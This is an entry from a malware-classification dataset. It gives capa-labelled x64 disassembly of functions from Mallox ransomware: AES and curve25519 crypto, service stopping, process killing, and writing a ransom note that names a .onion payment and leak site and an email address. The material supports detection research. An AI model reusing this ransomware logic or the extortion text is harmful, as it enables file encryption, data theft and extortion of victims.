joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001140
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
lea r8, [0x140053b90]
mov r9d, edx
mov r10d, 8
mov ecx, r9d
mov eax, r9d
shr ecx, 1
mov r9d, ecx
xor r9d, 0xedb88320
test al, 1
cmove r9d, ecx
sub r10, 1
jne 0x140001152
mov dword [r8], r9d
inc edx
add r8, 4
cmp edx, 0x100
jb 0x140001149
mov byte [0x140053f90], 1
ret

Function at 0x14000118c
Capabilities:
Parse url

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rdx
mov rbx, rcx
mov esi, 0x68
lea rcx, [rbp - 0x49]
mov r8d, esi
xor edx, edx
call fcn.14001d190
xorps xmm0, xmm0
mov dword [rbp - 0x49], esi
xor eax, eax
mov dword [rbp - 0x29], 1
movups xmmword [rdi], xmm0
mov rcx, rbx
mov qword [rdi + 0x10], rax
mov dword [rbp + 7], 1
mov dword [rbp + 0x17], 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rbp - 0x49]
xor r8d, r8d
mov edx, eax
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCrackUrlW]
xor esi, esi
test eax, eax
je 0x14000132e
mov ecx, dword [rbp - 0x29]
lea eax, [rsi + 2]
inc ecx
lea r13, [rsi - 1]
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.1400221d4
mov qword [rdi], rax
test rax, rax
je 0x14000132a
mov rdx, qword [rbp - 0x31]
test rdx, rdx
je 0x14000125d
mov r8d, dword [rbp - 0x29]
mov rcx, rax
add r8, r8
call fcn.14001e250
mov ecx, dword [rbp - 0x29]
mov rax, qword [rdi]
mov word [rax + rcx*2], si
mov ecx, dword [rbp + 7]
mov r15d, 0x2f
test ecx, ecx
je 0x14000128a
mov rax, qword [rbp - 1]
test rax, rax
je 0x14000128a
cmp word [rax], r15w
jne 0x14000128a
dec ecx
add rax, 2
mov dword [rbp + 7], ecx
mov qword [rbp - 1], rax
test ecx, ecx
jne 0x14000126e
mov ebx, dword [rbp + 0x17]
mov eax, 2
inc ebx
add ebx, ecx
lea ecx, [rbx + 1]
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.1400221d4
mov qword [rdi + 8], rax
test rax, rax
je 0x1400012fd
mov word [rax], r15w
mov rdx, qword [rbp - 1]
test rdx, rdx
je 0x1400012d2
mov r8d, dword [rbp + 7]
mov rcx, qword [rdi + 8]
add r8, r8
add rcx, 2
call fcn.14001e250
mov rdx, qword [rbp + 0xf]
test rdx, rdx
je 0x1400012f5
mov ecx, dword [rbp + 7]
mov rax, qword [rdi + 8]
inc rcx
mov r8d, dword [rbp + 0x17]
add r8, r8
lea rcx, [rax + rcx*2]
call fcn.14001e250
mov rax, qword [rdi + 8]
mov word [rax + rbx*2], si
mov eax, dword [rbp + 7]
mov ecx, dword [rbp - 0x35]
inc eax
mov dword [rdi + 0x10], eax
movzx eax, word [rbp - 0x25]
mov word [rdi + 0x14], ax
sub ecx, 3
je 0x140001326
cmp ecx, 1
je 0x140001320
mov byte [rdi + 0x16], sil
jmp 0x14000132a
mov byte [rdi + 0x16], 2
jmp 0x14000132a
mov byte [rdi + 0x16], 1
mov al, 1
jmp 0x140001330
xor al, al
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14001ae90
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r15
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400015b4
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp byte [0x140053f90], 0
jne 0x1400015ed
call fcn.140001140
or ebx, 0xffffffff
lea rdx, [rsp + 0x20]
mov r8d, 0x10
movzx eax, byte [rdx]
mov ecx, ebx
xor rcx, rax
shr ebx, 8
movzx eax, cl
inc rdx
lea rcx, [0x140053b90]
xor ebx, dword [rcx + rax*4]
sub r8, 1
jne 0x1400015fb
call fcn.1400221dc
not ebx
xor eax, ebx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14001ae90
add rsp, 0x40
pop rbx
ret

Function at 0x14000177c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r9b, r9b
movzx r11d, cl
shl r11d, 2
mov rbx, r8
movzx r8d, r9b
xor r10b, r10b
add r8d, r11d
shl r8d, 2
movzx eax, r10b
inc r10b
add eax, r8d
mov cl, byte [rax + rbx]
xor byte [rdx], cl
inc rdx
cmp r10b, 4
jb 0x14000179d
inc r9b
cmp r9b, 4
jb 0x14000178f
mov rbx, qword [rsp + 8]
ret
Function at 0x1400017c4
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
mov rdi, rdx
mov ecx, 0x10
lea r14d, [rcx + 0x18]
lea r13d, [rcx - 0xc]
cmp rcx, 0x10
jne 0x14000199c
movups xmm0, xmmword [rbx + 0xb0]
mov r8, rbx
lea rdx, [rbp - 0x20]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
call fcn.14000177c
mov sil, 1
lea rdx, [rbp - 0x20]
mov r8, r13
mov rcx, rdx
mov r9, r13
movzx eax, byte [rcx]
lea r10, [0x140040450]
mov al, byte [rax + r10]
mov byte [rcx], al
add rcx, r13
sub r9, 1
jne 0x140001832
inc rdx
sub r8, 1
jne 0x14000182c
mov al, byte [rbp - 0x1b]
mov cl, byte [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov al, byte [rbp - 0x17]
mov byte [rbp - 0x1b], al
mov al, byte [rbp - 0x13]
mov byte [rbp - 0x17], al
mov al, byte [rbp - 0x16]
mov byte [rbp - 0x13], cl
mov cl, byte [rbp - 0x1e]
mov byte [rbp - 0x1e], al
mov al, byte [rbp - 0x12]
mov byte [rbp - 0x16], cl
mov cl, byte [rbp - 0x1a]
mov byte [rbp - 0x1a], al
mov al, byte [rbp - 0x11]
mov byte [rbp - 0x12], cl
mov cl, byte [rbp - 0x1d]
mov byte [rbp - 0x1d], al
mov al, byte [rbp - 0x15]
mov byte [rbp - 0x11], al
mov al, byte [rbp - 0x19]
mov byte [rbp - 0x15], al
mov byte [rbp - 0x19], cl
cmp sil, 0xa
je 0x140001962
lea r11, [rbp - 0x1f]
mov r15, r13
mov r9b, byte [r11 - 1]
mov r8b, byte [r11 + 2]
mov dl, r9b
xor dl, byte [r11]
xor r8b, byte [r11 + 1]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r8b
imul ecx, eax, 0x1b
xor r10b, r9b
xor r10b, byte [r11]
xor cl, dl
mov dl, byte [r11 + 1]
xor dl, byte [r11]
xor cl, r9b
xor cl, r10b
mov al, dl
mov byte [r11 - 1], cl
add dl, dl
shr al, 7
movzx eax, al
imul ecx, eax, 0x1b
mov al, r8b
shr al, 7
add r8b, r8b
movzx eax, al
xor cl, dl
mov dl, byte [r11 + 2]
xor cl, byte [r11]
xor dl, r9b
xor cl, r10b
mov byte [r11], cl
imul ecx, eax, 0x1b
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
xor cl, r8b
xor cl, byte [r11 + 1]
xor cl, r10b
mov byte [r11 + 1], cl
imul ecx, eax, 0x1b
xor cl, dl
xor cl, byte [r11 + 2]
xor cl, r10b
mov byte [r11 + 2], cl
add r11, r13
sub r15, 1
jne 0x1400018ad
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, sil
call fcn.14000177c
inc sil
jmp 0x140001825
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, 0xa
call fcn.14000177c
mov eax, 0xf
mov cl, byte [rax + rbx + 0xb0]
cmp cl, 0xff
jne 0x140001991
mov byte [rbx + rax + 0xb0], 0
sub rax, 1
jns 0x140001975
jmp 0x14000199a
inc cl
mov byte [rbx + rax + 0xb0], cl
xor ecx, ecx
mov al, byte [rbp + rcx - 0x20]
inc rcx
xor byte [rdi], al
inc rdi
sub r14, 1
jne 0x1400017fe
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14001ae90
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
Function at 0x140002ff4
Capabilities:
Encode data using xor

Disassembly:
neg r8d
mov r10, rcx
movsxd r11, r8d
mov r9, rdx
mov r8d, 0xa
sub r10, rdx
movsxd rcx, dword [r10 + r9]
movsxd rdx, dword [r9]
xor rdx, rcx
and rdx, r11
mov rax, rdx
xor rax, rcx
mov qword [r10 + r9], rax
movsxd rax, dword [r9]
xor rax, rdx
mov qword [r9], rax
lea r9, [r9 + 8]
sub r8, 1
jne 0x140003009
ret

Function at 0x1400036d8
Capabilities:
Encrypt data using curve25519

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0x98], rax
movups xmm0, xmmword [rdx]
mov rbx, rcx
lea rcx, [rbp - 0x80]
movups xmm1, xmmword [rdx + 0x10]
mov rdx, r8
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x70], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x8f], al
call fcn.1400024f8
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x70]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140003034
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.14000332c
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.140002080
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400026ec
xor eax, eax
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.14001ae90
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x1a0
pop rbp
ret
Function at 0x140003c7c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov edx, dword [0x140054960]
lea r8, [0x140053fa0]
cmp edx, 0x270
jl 0x140003d35
mov rdx, r8
lea r11, [0x14005432c]
mov r9d, 0x7fffffff
lea r10, [0x140045cf0]
mov ecx, dword [rdx]
xor ecx, dword [rdx + 4]
and ecx, r9d
xor ecx, dword [rdx]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r10 + rax*4]
xor ecx, dword [rdx + 0x634]
mov dword [rdx], ecx
add rdx, 4
cmp rdx, r11
jl 0x140003cac
lea rdx, [0x14005432c]
lea r11, [0x14005495c]
mov ecx, dword [rdx]
xor ecx, dword [rdx + 4]
and ecx, r9d
xor ecx, dword [rdx]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r10 + rax*4]
xor ecx, dword [rdx - 0x38c]
mov dword [rdx], ecx
add rdx, 4
cmp rdx, r11
jl 0x140003ce0
mov eax, dword [0x14005495c]
mov ecx, dword [0x140053fa0]
and eax, 0x80000000
and ecx, r9d
or ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r10 + rax*4]
xor ecx, dword [0x1400545d0]
mov dword [0x14005495c], ecx
xor edx, edx
movsxd rax, edx
inc edx
mov dword [0x140054960], edx
mov ecx, dword [r8 + rax*4]
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret

Function at 0x1400051bc
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, qword [rsp + 0x80]
xor ebx, ebx
mov rsi, r8
test rdx, rdx
je 0x140005255
test r8, r8
je 0x140005255
test rbp, rbp
je 0x140005255
lea rax, [r11 - 0x28]
mov qword [r11 - 0x28], rbx
lea r9d, [rbx + 2]
mov qword [r11 - 0x38], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
cmp eax, 5
je 0x140005255
test eax, eax
jne 0x14000524c
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 4]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
sete bl
mov eax, ebx
jmp 0x140005257
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001ae90
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400054ec
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140005546
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140005546
inc ebx
cmp ebx, 0x32
jl 0x140005523
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140005564
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400055be
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400055be
inc ebx
cmp ebx, 0x32
jl 0x14000559b
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140005ea4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x70
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x140056df8], 0
lea r12, [0x140056e10]
mov rsi, rcx
jne 0x140005f7e
lea rcx, [0x140053b18]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.140005350
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbp, eax
xor r8d, r8d
lea r15, str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nWe_have_downloaded_your_confidential_data_and_are_ready_to_publish_it_on_our_blog_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n6_After_payment__you_will_receive_a_tool_for_decrypting_files__and_we_will_delete_the_data_that_was_taken_from_you_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
mov dl, byte [r8 + r15]
mov r9d, ebx
add r9, r12
mov byte [r9], dl
cmp dl, 0x7b
jne 0x140005f5d
lea eax, [r8 + 1]
cmp byte [rax + r15], 0x69
jne 0x140005f5d
lea eax, [r8 + 2]
cmp byte [rax + r15], 0x64
jne 0x140005f5d
lea edi, [r8 + 3]
cmp byte [rdi + r15], 0x7d
jne 0x140005f5d
mov r8, rbp
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.14001e250
dec ebx
mov r8d, edi
add ebx, ebp
inc ebx
inc r8d
cmp r8d, 0x561
jb 0x140005f13
lea rcx, [0x140053b18]
mov dword [0x140056df8], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005fd9
mov r8d, dword [0x140056df8]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14001ae90
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x14000bb30
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0x28], 0
mov r14, rdx
mov rsi, rcx
jne 0x14000bb7c
mov rdi, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
je 0x14000bb7c
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.14000cb98
cmp rax, 0xffffffffffffffff
jne 0x14000bb71
add rdi, 0x60
cmp rdi, qword [rsi + 0x10]
jne 0x14000bb53
jmp 0x14000bb7c
mov rdx, rdi
mov rcx, rsi
call fcn.14000d990
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000bbb4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14000d990
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x14000db36
and dword [rbp + 0xf], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp qword [rbx + 0x18], 8
mov rsi, rax
jb 0x14000d9d9
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 7], rax
mov rbx, rax
test rax, rax
je 0x14000db36
and qword [rsp + 0x50], 0
or edx, 0xffffffff
and qword [rsp + 0x48], 0
mov r9d, edx
and qword [rsp + 0x40], 0
mov r8d, 4
and qword [rsp + 0x38], 0
mov rcx, rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000db2d
cmp dword [rbp + 0x1b], 1
je 0x14000db2d
jmp 0x14000dab7
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000db2d
cmp dword [rbp + 0x1b], 1
je 0x14000db2d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000db2d
cmp dword [rbp + 0x1b], 3
je 0x14000da6d
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.14000db58
mov rbx, qword [rbp + 7]
lea r8, [rbp + 0x17]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000db2d
jmp 0x14000db27
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000db2d
cmp dword [rbp + 0x1b], 1
je 0x14000db2d
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rdx
ja 0x14000db2d
cmp dword [rbp + 0x1b], 1
jne 0x14000dae5
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14001ae90
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000e4f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
xor r10d, r10d
mov rbx, rdx
mov r11, rcx
test r9, r9
je 0x14000e644
cmp r9, 8
jb 0x14000e619
lea rcx, [r9 - 1]
lea rax, [r8 - 1]
add rcx, r11
add rax, r9
cmp r11, rax
ja 0x14000e52a
cmp rcx, r8
jae 0x14000e619
lea rax, [r9 - 1]
add rax, rbx
cmp r11, rax
ja 0x14000e53f
cmp rcx, rbx
jae 0x14000e619
mov rcx, rbx
mov qword [rsp + 0x18], rdi
sub rcx, r8
mov rdx, r11
cmp r9, 0x40
jb 0x14000e5d9
mov rdi, r9
mov qword [rsp + 0x10], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
lea rax, [r8 + 0x10]
sub rdx, r8
nop
movdqu xmm0, xmmword [rax - 0x10]
add r10, 0x40
movdqu xmm1, xmmword [rcx + rax - 0x10]
movdqu xmm2, xmmword [rcx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rdx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rcx + rax - 0x30]
movdqu xmmword [rdx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rcx + rax - 0x20]
movdqu xmmword [rdx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rdx + rax - 0x20], xmm2
cmp r10, rsi
jb 0x14000e570
mov rsi, qword [rsp + 0x10]
cmp rdi, 8
jb 0x14000e60f
jmp 0x14000e5dc
sub rdx, r8
mov rdi, r9
and rdi, 0xfffffffffffffff8
lea rax, [r10 + r8]
nop word [rax + rax]
movq xmm1, qword [rcx + rax]
add r10, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rdx + rax - 8], xmm1
cmp r10, rdi
jb 0x14000e5f0
mov rdi, qword [rsp + 0x18]
cmp r10, r9
jae 0x14000e644
sub rbx, r8
lea rax, [r10 + r8]
sub r11, r8
sub r9, r10
nop word [rax + rax]
movzx ecx, byte [rax + rbx]
xor cl, byte [rax]
mov byte [rax + r11], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x14000e630
pop rbx
ret
Function at 0x14000e650
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140051010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov rdi, rcx
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call fcn.14000f830
test eax, eax
jne 0x14000e7ee
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x140054ba0], eax
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x14000e71c
mov eax, 1
mov dword [0x140054ba0], 1
xor ecx, ecx
cpuid
mov dword [0x140054ba8], eax
mov dword [0x140054bac], ebx
mov dword [0x140054bb0], ecx
mov dword [0x140054bb4], edx
mov dword [0x140054ba4], ecx
jmp 0x14000e722
mov ecx, dword [0x140054ba4]
test cl, 2
jne 0x14000e7e7
mov qword [rdi + 0xe0], 0
mov qword [rdi + 0x60], 0
mov ebx, 4
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x14000e743
mov r10d, 2
mov ebx, r10d
nop
mov r8, qword [rdi + rbx*8 + 0xe0]
mov r9, qword [rdi + rbx*8 + 0x60]
cmp rbx, 1
jle 0x14000e7d8
lea rax, [rdi + 0x68]
lea rdx, [rbx - 1]
nop dword [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [rax + rbx*8 + 0x80], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [rax + rbx*8 - 8], rcx
sub rdx, 1
jne 0x14000e7b0
lea eax, [r10 + r10]
add rbx, rbx
mov r10d, eax
cmp eax, 8
jle 0x14000e790
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001ae90
add rsp, 0x50
pop rdi
ret